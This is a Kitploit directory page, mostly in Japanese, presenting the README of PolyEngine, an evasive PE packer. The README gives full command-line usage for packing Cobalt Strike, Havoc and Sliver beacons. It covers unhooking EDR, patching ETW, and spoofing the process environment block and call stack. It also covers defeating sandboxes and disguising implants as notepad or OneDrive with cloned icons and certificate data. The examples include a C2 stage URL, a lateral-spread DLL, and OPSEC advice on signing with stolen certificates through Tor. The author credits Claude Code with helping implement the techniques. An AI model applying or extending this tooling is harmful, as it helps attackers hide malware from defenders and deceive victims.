Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PolyEngine — PolyEngineは、CTFチャレンジや低レベルのWindowsセキュリティ教育向けに設計された回避型PEパッカーです。EDRおよびAVのヒューリスティックを、メモリ内実行と難読化技術の層状スタックを通じてバイパスすることに重点を置いています。 | Kitploit
ツール/GitHubGitHub/longwayhomie/polyengine
ペイロード生成エクスプロイトIDS/IPS回避マルウェア分析CTFバイナリ解析学習と教育レッドチーミングアンチボット
GitHublongwayhomie/polyengine

PolyEngine

PolyEngineは、CTFチャレンジや低レベルのWindowsセキュリティ教育向けに設計された回避型PEパッカーです。EDRおよびAVのヒューリスティックを、メモリ内実行と難読化技術の層状スタックを通じてバイパスすることに重点を置いています。

15420392ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
# PolyEngine — ポリモーフィックPEパッカー 📦

**PolyEngine** は、CTFチャレンジや低レベルのWindowsセキュリティ教育向けに設計された、研究グレードの回避型PEパッカーです。EDRやAVのヒューリスティックを、メモリ内実行と難読化技術の階層的なスタックを通じてバイパスすることに焦点を当てています。

これは私がしばらく取り組んできたサイドプロジェクトです。Claude Codeを使用して、自分のPEパッカーに実装したいと思っていた技術の一部を実装・修正しました。関数とその機能に関するコメントが多数あります。これは私にとって大きな学習経験であり、Claudeはこれを完璧にこなしてくれます(私は苦手ですが)。誰かがWindowsの内部構造を学んだり、ProLabs 🏯 に取り組む際に、より高度なソリューションからのAVや静的検出を回避するのに役立つことを願っています。

🔥 [MalDevAcademy](https://maldevacademy.com/) に、作成のためのすべての資料とインスピレーションに対して心から感謝します。

🌩 [vx-underground](https://x.com/vxunderground) に、馬鹿げた猫の冗談めいたツイートを通じてインスピレーションを与えてくれたことに感謝します。

> **免責事項:** このツールは、許可されたセキュリティテスト、CTF競技、教育目的専用です。明示的な許可なくシステムに対して使用することは禁止されています。作者は誤用に対する一切の責任を負いません。

---

## 使用方法

ビルド順序: **スタブ→ビルダー**。スタブ Release|x64 は `stub_v0.bin`..`stub_v3.bin` を生成します。ビルダーはそのうちの1つを `.rsrc` に埋め込みます。

`stub_v0.bin`..`stub_v3.bin` が作業ディレクトリにあることを確認してください(または `--stub` を渡してください)。```
Builder.exe <input> <output> [OPTIONS]

  <input>   Target PE (.exe/.dll) or raw shellcode (.bin)
            Payload type is auto-detected from the MZ header - no flag needed.
  <output>  Output executable

Loader:
  --stub <path>              Loader stub PE  [default: random ./stub_v0.bin..stub_v3.bin]
  --preset PRINT|MEDIA|NETWORK|RANDOM
                             Module stomping DLL preset  [default: PRINT]
  --overload                 Module overloading instead of stomping
                             (NtCreateSection/NtMapViewOfSection, not in PEB LDR)
  --keep-alive               ExitThread(0) instead of ExitProcess
                             (required for C2 implants that spawn their own threads)
  --unhook                   Restore original .text bytes in ntdll/kernel32/
                             kernelbase from \KnownDlls\ clean copies
                             (overwrites EDR inline hooks before any payload syscall)

Payload  (PE/DLL only, silently ignored for shellcode):
  --export <name>            DLL export to invoke after DllMain
  --arg <string>             Argument passed to the export  [max 127 chars]

Evasion  (all ON by default):
  --spoof-name <exe>         Process name for PEB spoof  [default: random from pool]
                             Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
                                   SearchIndexer.exe taskhostw.exe spoolsv.exe
                                   wlrmdr.exe WMPDMC.exe hvix64.exe
  --exec-ctrl-name <name>    Semaphore name for exec-ctrl check  [default: wuauctl]
                             (max 31 chars)
  --sleep-fwd-ms <ms>        Sleep duration for sleep-fwd check  [default: 500]
                             Detection threshold: 90% of <ms> elapsed
  --uptime-min <minutes>     Uptime threshold for uptime check  [default: 2]
  --hammer-s <seconds>       API-hammer delay duration  [default: 3]
  --disable <token,token...>  Disable one or more features (comma-separated, repeatable)

  OPSEC tokens:
    etw         EtwEventWrite patch (ETW telemetry suppression)
    spoofing    Call-stack spoofing (SilentMoonwalk RSP pivot)
    peb         PEB path/cmdline spoof
    tls         TLS anti-debug callback (patches loader stub before embedding)

  Sandbox/debug check tokens:
    hammer      API-hammer timing delay (VirtualAlloc/Free loop)
    debugger    Debugger detection (PEB flags / NtQueryInformationProcess)
    api-emu     API emulation probe (RtlComputeCrc32 identity check)
    exec-ctrl   Execution-control semaphore (re-execution detection)
    sleep-fwd   Sleep-forwarding detection (timing)
    uptime      System uptime check
    cpu         CPU count check (< 2 logical cores)
    screen      Screen resolution check (<= 1024 px width)
    files       Recent-files count check (< 5 RecentDocs subkeys)
    all         Disable every token listed above

Identity spoofing:
  --pfx <path>               PFX certificate container to sign the output with
  --pfx-pass <password>      PFX passphrase  [omit if PFX has no password]
  --ts-url <url>             RFC 3161 timestamp URL  [default: no timestamping]
                             OPSEC: timestamping reveals build IP/time to the TSA.
                             Enable only when signing from an isolated VM, or when
                             the signature must survive cert revocation.
  --clone-meta <donor.exe>   Clone VERSIONINFO, icon, and Authenticode cert directory
                             from a donor PE (e.g. notepad.exe, OneDrive.exe).
                             Explorer "Details" tab shows donor company/product/version;
                             file icon matches donor; "Digital Signatures" tab shows
                             donor's signer (HashMismatch — defeats visual inspection only).
                             Name output to match donor OriginalFilename field.
                             When combined with --pfx: real signature overwrites cloned cert.
  --uac                      Embed a UAC elevation manifest (requireAdministrator).
                             Output PE prompts for admin privileges on launch.
                             Applied as Phase 10.5 (after packing, before signing).

Examples:
  Builder.exe implant.exe     packed.exe
  Builder.exe implant.exe     packed.exe --stub stub_v2.bin
  Builder.exe shellcode.bin   packed.exe --keep-alive
  Builder.exe beacon.dll      packed.exe --export Start --keep-alive
  Builder.exe payload.dll     packed.exe --export Execute --arg "calc.exe"
  Builder.exe implant.exe     packed.exe --preset NETWORK --disable etw,tls
  Builder.exe implant.exe     packed.exe --overload --hammer-s 5 --uptime-min 5
  Builder.exe implant.exe     packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --pfx-pass hunter2
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
  Builder.exe implant.exe     notepad.exe --clone-meta C:\Windows\System32\notepad.exe
  Builder.exe implant.exe     notepad.exe --clone-meta notepad.exe --pfx self.pfx
  Builder.exe implant.exe     packed.exe  --uac
  Builder.exe implant.exe     notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
## 使用例

シナリオごとにグループ化された使用例。すべてのフラグはオプトアウト(回避はデフォルトで完全に有効)なので、最もシンプルな呼び出しですでにフルスタックが適用されます。

<details>
<summary><b>基本パッキング - EXE / DLL / shellcode</b></summary>

アンマネージドEXEをパックします。ビルダーは自動的に`MZ`ヘッダーを検出し、RunPEパスを経由します:```
Builder.exe implant.exe packed.exe
```
生の位置独立シェルコード(Cobalt Strike `.bin`、msfvenom `-f raw` など)をパックします。`MZ` は使わず、展開されたバッファに直接呼び出します:```
Builder.exe beacon.bin packed.exe
```
DLLをパックし、そのデフォルトの`DllMain`のみを呼び出す(エクスポートなし):```
Builder.exe payload.dll packed.exe
```
デフォルト以外の場所からスタブを使用する:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>

<details>
<summary><b>DLLペイロード(エクスポートあり)- Havoc / Sliver / カスタムビーコン</b></summary>

`DllMain` が戻った後、名前付きエクスポートを呼び出します。ほとんどのC2インプラントは、単一のエントリエクスポートを持つDLLとして出荷されます(例:Havoc Demon: `Start`、Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
exportに文字列引数を渡します(最大127文字)。設定文字列、URL、またはシェルコマンドを受け取るペイロードに便利です:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive`は、独自のスレッドを生成するペイロードに必要です。これがないと、ローダーが`ExitProcess`を呼び出してビーコンを強制終了します。

</details>

<details>
<summary><b>長期実行インプラント(C2ビーコン)</b></summary>

Cobalt Strike / Sliver / Havocはすべてビーコンスレッドを生成して戻ります。ローダースレッドはプロセスを停止させずに終了する必要があります。```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
```
</details>

<details>
<summary><b>モジュールスタンピングのプリセット - ホストDLLの選択</b></summary>

復号化スタブは、無害なWindows DLLの`.text`セクション内に隠されています。ターゲットコンテキストにおいて、読み込まれたモジュールが最も正当に見えるプリセットを選択してください:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (デフォルト) - `xpsservices.dll`、`msi.dll`、`dbghelp.dll`。ほとんどのワークステーションで一般的です。
`NETWORK` - `winhttp.dll`、`wtsapi32.dll`、`wlanapi.dll`。既にネットワークAPIがロードされているペイロードに適合します。
`RANDOM` - フルプールから3つのランダムなインデックス(`bcrypt.dll`(idx 9)を含む)。

`LoadLibraryW` スタンピングから `NtCreateSection`+`NtMapViewOfSection` オーバーローディングへの切り替え(DLLは `PEB.Ldr` に入らない):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>

<details>
<summary><b>EDRユーザーランドフック解除</b></summary>

`\KnownDlls\`から`ntdll`、`kernel32`、`kernelbase`のクリーンな`.text`バイトを復元し、EDRのインラインフックをすべて上書きします。HellsHallは既に機密性の高い`Nt*`フックをバイパスしています。`--unhook`は、ペイロード自体がフックされたWin32 API(例:`LoadLibrary`、`CreateProcess`)を呼び出す場合にのみ必要です。```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>

<details>
<summary><b>PEBスプーフィング - プロセスの偽装</b></summary>

自動選択されたスプーフ名を上書きします。親プロセスや起動コンテキストに合ったものを選んでください(Officeマクロで`RuntimeBroker.exe`は不自然ですが、`WmiPrvSE.exe`の方が溶け込みます):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
スプーフ名は単なるASCIIファイル名です。Stubは実行時に`C:\Windows\System32\`を先頭に追加します。デフォルトの9プロセスプールに含まれないものも動作します。

</details>

<details>
<summary><b>回避しきい値の調整</b></summary>

判断前に数十秒実行する忍耐強いサンドボックスに対する、より長いハンマーディレイ:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
高い稼働時間しきい値 - ボックスが少なくとも30分以上起動している場合のみ実行(ほとんどのサンドボックスはサンプルごとに新しいVMを起動します):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
より厳格なスリープフォワーディング検出(より短いスリープ、観察可能なエラーなしでの早送りがより困難):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Custom semaphore name for the exec-control check (avoids clashing with another sample using the default `wuauctl`):
exec-controlチェックのためのカスタムセマフォ名(デフォルトの `wuauctl` を使用する別のサンプルとの競合を回避します):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
パラノイドプロファイルのためにすべてを積み上げる:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
<details>
<summary><b>デバッグ/ラボ作業のための機能無効化</b></summary>

デバッガで反復処理を行う際、TLSコールバックとデバッガチェックが即座に発動します。自由にアタッチするには、両方を無効にしてください:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
すべてのサンドボックスチェックをスキップ(OPSEC機能は有効のまま - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
同じ内容を、より短く:```
Builder.exe implant.exe packed.exe --disable all
```
特定のOPSEC機能を無効にする(例:ターゲット環境でETWパッチングが不要な場合、またはPEBスプーフが自身のPEBを走査するペイロードを破壊する場合):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` はサンドボックス/デバッグチェックのみを対象とします。OPSECトークン(`etw`、`spoofing`、`peb`、`tls`)は明示的にリストする必要があります。

</details>

<details>
<summary><b>アイデンティティクローニング — VERSIONINFO、アイコン、Authenticode証明書</b></summary>

任意のドナーPEの外観上のアイデンティティをパックされた出力にコピーします。出力バイナリのエクスプローラのプロパティ、タスクバーアイコン、およびデジタル署名タブはすべてドナーを反映します:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
クローンされるもの:
- **VERSIONINFO** (`RT_VERSION`) — Explorerの「プロパティ → 詳細」タブ: 会社名、製品名、ファイルバージョン、著作権。ドナーに存在するすべての言語IDがコピーされます。
- **アイコン** (`RT_GROUP_ICON` + `RT_ICON`) — 最も低いIDのアイコングループ(Explorerがシェルアイコンに使用するもの)。タスクバー、Alt+Tab、ファイルブラウザすべてにドナーのアイコンが表示されます。
- **Authenticode証明書ディレクトリ** — 生の`WIN_CERTIFICATE` PKCS#7ブロブが8バイトアライメントされたEOFに追加されます。Explorerの「プロパティ → デジタル署名」にはドナーの署名者(例: `Microsoft Windows`)が表示されます。`Get-AuthenticodeSignature`は`Status = HashMismatch`を返します — 署名は構造的に有効ですが、ハッシュはドナーのバイトをカバーしており、当方のものではありません。カジュアルな目視検査を妨害しますが、実際の検証ツール(`signtool verify`、`WinVerifyTrust`、AVエンジン)は不一致を検出します。

**OPSEC — OriginalFilename:** ドナーのVERSIONINFOには`OriginalFilename`(例: `notepad.exe`)が埋め込まれています。一部の署名チェッカーやDefenderのヒューリスティックは、`OriginalFilename`とディスク上の実際のファイル名の不一致をフラグします。出力の名前を次のように一致させてください:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**`--pfx`との組み合わせ:** 両方のフラグが存在する場合、フェーズ11(クローン)がフェーズ12(署名)の前に実行されます。実際の署名がクローンされた証明書ディレクトリを上書きします。VERSIONINFOとアイコンは保持されます。`Get-AuthenticodeSignature` は、提供元のハッシュ不一致の証明書ではなく、あなたの証明書を有効として表示します。```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**検証:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>

<details>
<summary><b>UAC elevation — requireAdministrator マニフェスト</b></summary>

`requestedExecutionLevel="requireAdministrator"` マニフェストを埋め込むことで、起動時に出力PEがUACプロンプトをトリガーし、ユーザーが承認した場合に高整合性トークンを受け取ります:```
Builder.exe implant.exe packed.exe --uac
```
マニフェストは `RT_MANIFEST` リソース(リソースID 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`)であり、Windowsローダーがアプリケーション互換性と特権マニフェストをチェックするのと同じスロットです。それ以外の出力は `--uac` なしのビルドと同一で、Stub やペイロードパスに変更はありません。

**`--clone-meta` および `--pfx` との組み合わせ:** フェーズ10.5(マニフェスト)はフェーズ11(クローン)およびフェーズ12(署名)の前に実行されます。フェーズ12で計算されたAuthenticode署名は、マニフェストを含むすべての埋め込みリソースをカバーします。ハッシュは最終的なバイナリに対して有効です。UACダイアログには、署名証明書の発行者名が表示されます:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** UACプロンプトは可視的でユーザーに直面するイベントです。「このアプリがデバイスに変更を加えることを許可しますか?」というダイアログには、ディスク上のファイル名とAuthenticode発行元(署名なしの場合は「不明な発行元」)が表示されます。`--uac` と `--clone-meta` を組み合わせて見慣れたアイコンを表示し、`--pfx` で信頼できる発行元を表示します。既に昇格したプロセス(例:サービス、WMIの横展開、ローカル管理者シェル)から開始される無人実行の場合は、`--uac` は不要です。

</details>

<details>
<summary><b>オーセンティコード署名(PFX、signtoolなし)</b></summary>

パックされた出力にPFX証明書で署名します。ビルダーは `mssign32!SignerSignEx2` と直接通信します。オペレータのワークステーションに `signtool.exe` は不要で、Windows SDKの署名ツールも必要ありません:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
パスワードなしのPFX(`--pfx-pass`フラグを完全に省略):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
RFC 3161 タイムスタンプを追加して、証明書の有効期限が切れたり失効した後も署名が有効であり続けるようにします。タイムスタンプ認証局はビルドの IP アドレスと正確な署名時刻を記録することに注意してください — 下記の OPSEC ノートを参照してください:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — タイムスタンプを省略する場合:** `--ts-url` はオプトインです。公開TSAへの各リクエストは、署名が生成された正確な秒とともに、オペレーターのビルドホストをTSAのHTTPログに記録します。これは、サンプルが後でインシデント対応で発見された場合に強力なフォレンジック相関を提供します。タイムスタンプを埋め込むと、その同じ瞬間がパックされたPE内の署名ブロブに刻印され、後で分析者が読み取ることができます。タイムスタンプが不要な場合(自己署名証明書や、証明書の有効期限を超えた署名の有効性が問題にならない短期間の運用で一般的)、フラグを省略すれば署名は完全にエアギャップ対応のままです。

**OPSEC — タイムスタンプを保持する場合:** 盗難された、または失効予定の短期間のコード署名証明書は、TSAのカウンター署名から恩恵を受けます。Windowsは、タイムスタンプが失効エントリよりも前であれば、失効後も署名を受け入れます。その場合、プロキシ/Tor経由で隔離されたVMから署名し、TSAのログを意図的(しかし限定された)露出として扱います。

秘密鍵は永続化されません: `PFXImportCertStore` は `PKCS12_NO_PERSIST_KEY` で呼び出されるため、`%APPDATA%\Microsoft\Crypto` の下にキーコンテナは出現しません。SHA-256ダイジェスト、`New-SelfSignedCertificate` およびOpenSSL ≥3.x によって生成されたPFXとの互換性のためにCNG優先のKSP。

</details>

<details>
<summary><b>現実的な組み合わせ</b></summary>

Cobalt StrikeビーコンDLL、ネットワークをテーマにしたホスト、完全な回避、カスタムミューテックス名:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon シェルコード、スタンピングの代わりにオーバーロード、より長いハンマーディレイ:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
トリガーを制御でき、アンチデバッグが不要なCTF用のStage-2 EXE:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
パス引数を取る横移動補助DLL:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Microsoft の一般的なバイナリを偽装した長期潜伏型インプラント、完全な回避スタック:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
実際の自己署名証明書と一致するVERSIONINFO IDを含むパックされたサンプル:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>

---

## ビルド

**Visual Studio 2022 (MSVC v143)、Release|x64のみ。** `PolyEngine.sln`を開きます。

ビルド順序が重要です:
1. **Stub** プロジェクト (Release|x64) → MSBuildのファンアウトにより `x64/Release/stub_v0.bin` … `stub_v3.bin` が生成されます (`POLY_VARIANT=0..3`)
2. **Builder** プロジェクト → `Builder/x64/Release/Builder.exe` を生成します(ソリューションのOutDirも可)

各 `stub_v*.bin` は、リンカーエントリ `EntryPoint` のみを持つPEです(CRTなし)。バリアントはOPSECフェーズの順序とデコイ/アイランドレイアウトが異なります。HellsHall/Moonwalkは共有のままです。BuilderはCWDからランダムに1つ(または `--stub` 経由で)選択し、StubMorphを実行し、ペイロードをビルドごとのRT_RCDATA IDに埋め込みます。

MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`。CMake、Makefileはありません。

**新しいAPIハッシュを追加するには:** `Djb2HashA("ApiName")` を計算し(`ApiHashing.cpp`と同じアルゴリズム)、`ApiHashing.h` に `g_Hash_*` グローバルを追加し、`ApiHashing_InitHashes()` で初期化します。

---

## アーキテクチャ概要

3つのコンポーネントが**パック→暗号化→インジェクション**パイプラインを実装しています:**Builder**は入力PE/シェルコードをパックし、**Engine**(共有ライブラリ)は暗号化/圧縮/変異プリミティブを提供し、**Stub**は出力PEに埋め込まれたランタイムエグゼキュータです。

<details>
<summary>詳細なパイプラインとStub実行フロー</summary>```
Builder.exe
  ├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
  ├── reads target PE or raw shellcode (.bin)
  ├── LZNT1 compress
  ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
  ├── MutationEngine → unique polymorphic ASM decryptor per build
  ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
  ├── XTEA-CTR encrypt (outer layer)
  ├── BuildInfectedPE:
  │     ├── patch TLS guard marker (--disable tls)
  │     ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
  │     ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
  │     ├── write stub → output PE
  │     └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
  ├── (optional) UAC manifest / clone-meta / Authenticode sign
  └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
  ├── Loader_InitApis          — ApiHashing_InitHashes + resolve kernel32 APIs
  ├── Loader_LoadPayload       — GetPayloadFromResource (280-byte metadata / opsecFlags)
  ├── Loader_Evasion           — HammerDelay + RunChecks (Win32 only, before syscalls)
  ├── Loader_InitSyscalls      — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
  ├── Loader_OpsecPhase        — order depends on POLY_VARIANT (0..3):
  │     Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb
  │     (HellsHall.asm + g_Spoof* layout identical in every variant)
  ├── Loader_DecryptExec       — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload);
  │                               LZNT1 decompress; restore stomped .text
  └── Loader_RunPayload        — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode);
                                  keep-alive: ExitThread (PE) or Sleep park (raw SC)
```
</details>

---

## 回避技術

<details>
<summary><b>ローダーバリアント — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Stub Release|x64ビルドでは、MSBuildを介して**4つ**のローダーが生成されます(`POLY_VARIANT=0..3`、それぞれ別の`IntDir`)。各バイナリは異なるOPSECフェーズの順序を持ち、バリアントごとに異なるデコイ/アイランドサイズ(`PolyIslands.c`)を持つため、静的ハッシュは異なります。共有され、**決して**バリアントごとに分岐しないもの:`HellsHall.asm`、SilentMoonwalkデータレイアウト(`g_SpoofSyntheticStack`)、TLS/ResIDマーカータグ。

| バリアント | `Loader_OpsecPhase` の順序 |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

`--stub`なしのビルダーは、CWD内の`stub_v0.bin`..`stub_v3.bin`からランダムに選択します(`CryptGenRandom`)。`--stub <path>`で1つのファイルを強制します。

</details>

<details>
<summary><b>パック時のStubMorph</b></summary>

TLS/ResIDマーカーパッチ後、出力PEの書き込み前に、`StubMorph_Apply`(`Engine/StubMorph.c`)が選択されたローダーイメージをインプレースで変異させます:

- 妥当な`TimeDateStamp`が**[現在−5年, 現在]**の範囲から生成されます — 完全にランダムなDWORDは未来に設定される可能性があり、これはヒューリスティックフラグとなります
- ツールチェーンプロファイルのセクション名(MSVC / MinGW / Delphi / NSISスタイル、ビルドごとに選択; `.rsrc`, `.reloc`, `.tls`, `.CRT`はスキップ) — ランダムな8文字の名前はUPXスタイルのパッカーヒューリスティックに引っかかるため避けます
- `IMAGE_DIRECTORY_ENTRY_DEBUG` + PEチェックサムをクリア(後で`--pfx`が指定された場合に再計算)
- POLYアイランドパッド(`PolyIslands.c`内の`50 4C 59 A0` … `AF`マーカー、`g_PolyDecoy`アイランドを含む)を**同じ長さ**のランダムバイトで書き換え、その後タグマーカー自体をランダム化 — 出力PEには`PLY`パターンや固定デコイコンテンツは残りません; PEサイズの増加なし、再配置修正なし

HellsHall、スプーフィンググローバル、またはTLS/ResIDパッチで使用されるマーカータグには触れません。

</details>

<details>
<summary><b>間接システムコール — HellsHall</b></summary>

すべての機密NT操作(`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`など)は、プロセスntdllのフックされたユーザーモードスタブではなく、間接システムコールを経由します:

1. 起動時に、`Syscalls_Init()` がプロセスntdllのエクスポートディレクトリを解析し、すべての`Zw*`関数のRVAをフラットテーブルに収集します。
2. SSNは**RVA順序付け**(HellsGate/FreshyCallsバリアント)によって導出されます:すべての`Zw*` RVAがソートされ、ソートされたインデックスがSSNとなります。フックにとらわれない設計 — EDRが関数プロローグを書き換えても、フックはエクスポートの順序を変更しないため機能します。
3. `syscall; ret`(`0F 05 C3`)トランポリンがプロセスntdllの`.text`セクション内に配置されます。この3バイトシーケンスはすべての`Nt*`スタブの標準的な末尾です。EDRユーザーランドインラインフックは、エクスポートされた`Nt*`関数の**エントリポイント**(最初の5~15バイト)をターゲットにします — スタブの途中のsyscall命令には決して触れません。なぜなら、スタブの途中にパッチを当てるとそのセマンティクスが壊れるからです。したがって、一致するサイトのバイトは変更されておらず、クリーンな`\KnownDlls\`マッピングと同一であり、ディスク上の`C:\Windows\System32\ntdll.dll`にバックアップされたMEM_IMAGEメモリに存在します。`g_CleanTrampoline`はそこを直接指します — セカンダリntdllマッピングやMEM_PRIVATEコピーは不要です。
```

---

[Read more](https://github.com/longwayhomie/polyengine)
ツールをダウンロード